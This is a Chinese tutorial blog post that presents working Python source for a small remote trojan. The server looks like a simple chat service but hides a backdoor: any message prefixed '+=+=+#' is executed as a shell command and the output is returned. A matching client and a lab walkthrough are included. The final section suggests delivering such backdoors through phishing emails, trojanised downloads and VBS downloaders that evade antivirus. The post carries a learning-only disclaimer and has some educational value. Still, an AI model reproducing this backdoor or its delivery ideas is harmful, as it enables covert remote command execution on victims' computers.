基于Python/Socket实现小型的远程木马(包含实验)

原文地址:

https://blog.csdn.net/BrosyveryOK/article/details/127170958?csdn_share_tail=%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%22127170958%22%2C%22source%22%3A%22BrosyveryOK%22%7D

 

| 警告:仅供参考学习,不得做违法的事!免责声明:本文仅仅只是展示攻击手段,提高防范意识。任何由于该文章产生的消极后果与本作者无关。
前言

本文是用 Python 的 Socket 模块进行的服务搭建,主要是基于TCP服务的远程木马,因此要掌握一点TCP服务搭建的知识,可以参考我的另一篇文章,结合网上搜索的知识,搭建TCP服务器和客户端,然后再进行实验。

参考文章:用Python搭建非常简易的TCP客户端和服务器_br0sy的博客-CSDN博客

还要用到 Python 的 os 模块,进行命令操作,接下去话不多说,直接开始写代码
TCP服务端代码

    import socket, os
    ​
    # 以下不写注释了,要了解原理可参考我上面的文章或自行网上搜索
    def attack():
        s = socket.socket()
        try:
            s.bind(("0.0.0.0", 6666))
            s.listen()
            chanel, cilent = s.accept() # accept会造成线程阻塞,但是一般情况下不考虑这个
            while True:
                recive_content = chanel.recv(1024).decode()
                if recive_content.startswith("+=+=+"):
                    # 非正常业务
                    # 后门代码,key 是 +=+=+# ,后面加命令,就可以执行了
                    command = recive_content.split("#")[-1]
                    result = os.popen(command).read()
                    # 回传信息
                    chanel.send(result.encode())
                else:
                    # 正常的会话(正常业务)
                    print(recive_content)
                    # 价值一个亿的人工智能代码↓(doge)
                    response_content = recive_content.replace("吗?", "!")
                    chanel.send(response_content.encode())
        except:
            # 防止服务器因报错停止
            s.close
            attack()
        
        
    if __name__ == '__main__':
        attack()

TCP客户端代码

    import socket
    ​
    # 获取socket对象
    s = socket.socket()
    # 连接TCP服务器 下面这个ip是我的 被攻击机的ip,在下面的实验中可知
    s.connect(("192.168.121.133", 6666))
    while True:
        content = input("请输入要传到服务器的数据:")
        # content = "+=+=+#" + content   # 只要执行命令的话就打开这行代码,自动补充了key
        s.send(content.encode())
    ​
        # 传回数据
        recive_content = s.recv(10240).decode() # 这里缓冲区设置的大一点,防止回传信息过多而无法接收
        print(recive_content)

实验环境

客户端(攻击端):win10: ip:????(不需要知道)

服务端(被攻击端):Ubuntu: ip :192.168.121.132
方法

1、Ubuntu中

将TCP服务端代码放到 Ubuntu 中,并执行,就会在特定端口打开服务

如下:

开启前:在终端输入 netstat -ant 查看端口情况

现在我们开启服务:

再输入 netstat -ant 会发现 6666 端口已经开启监听

2、Win10中

在win10中,我们直接运行 客户端代码,就可以和服务器建立一个 TCP 连接,并开始传数据

于是我们可以开始干点猥琐的事情,比如....查看ip!(实在是太猥琐了)

关于如何攻击的讨论

看完上面的,你会说,别人又不傻,怎么会来执行你的脚本,不过这就涉及到社工了,总有办法的。

比如如果对方有执行代码的环境,那么也许我们可以发个邮件给别人,点开链接,进入某个我们自己写的网站,然后下载一些py程序,或者干脆下载一个应用,然后把后门放进去,由于每台windows都可以直接执行 vbs 文件,所以老旧的办法是用vbs写中间下载代码,绕过杀毒软件(免杀),然后下载真后门,不过现在好像杀毒软件都比较吊,有点难绕...以上仅是攻击讨论猜测,纯属玩笑话,看看就好。
仍存在的问题

在实验过程中,发现其实这个服务端代码写的仍然有点问题,应该是阻塞的问题,当我们在客户端中输入了错误的命令时,服务端会发生阻塞,客户端就得不到任何回显了,当然我们可以重启客户端(这是我们能做的),就可以重新发命令。

然后有的时候会莫名其妙产生BUG,估计也和操作系统有关系,不太懂了。以后学到了再回头说吧。

posted @ 2022-10-05 11:53  br0sy  阅读(204)  评论(0编辑  收藏  举报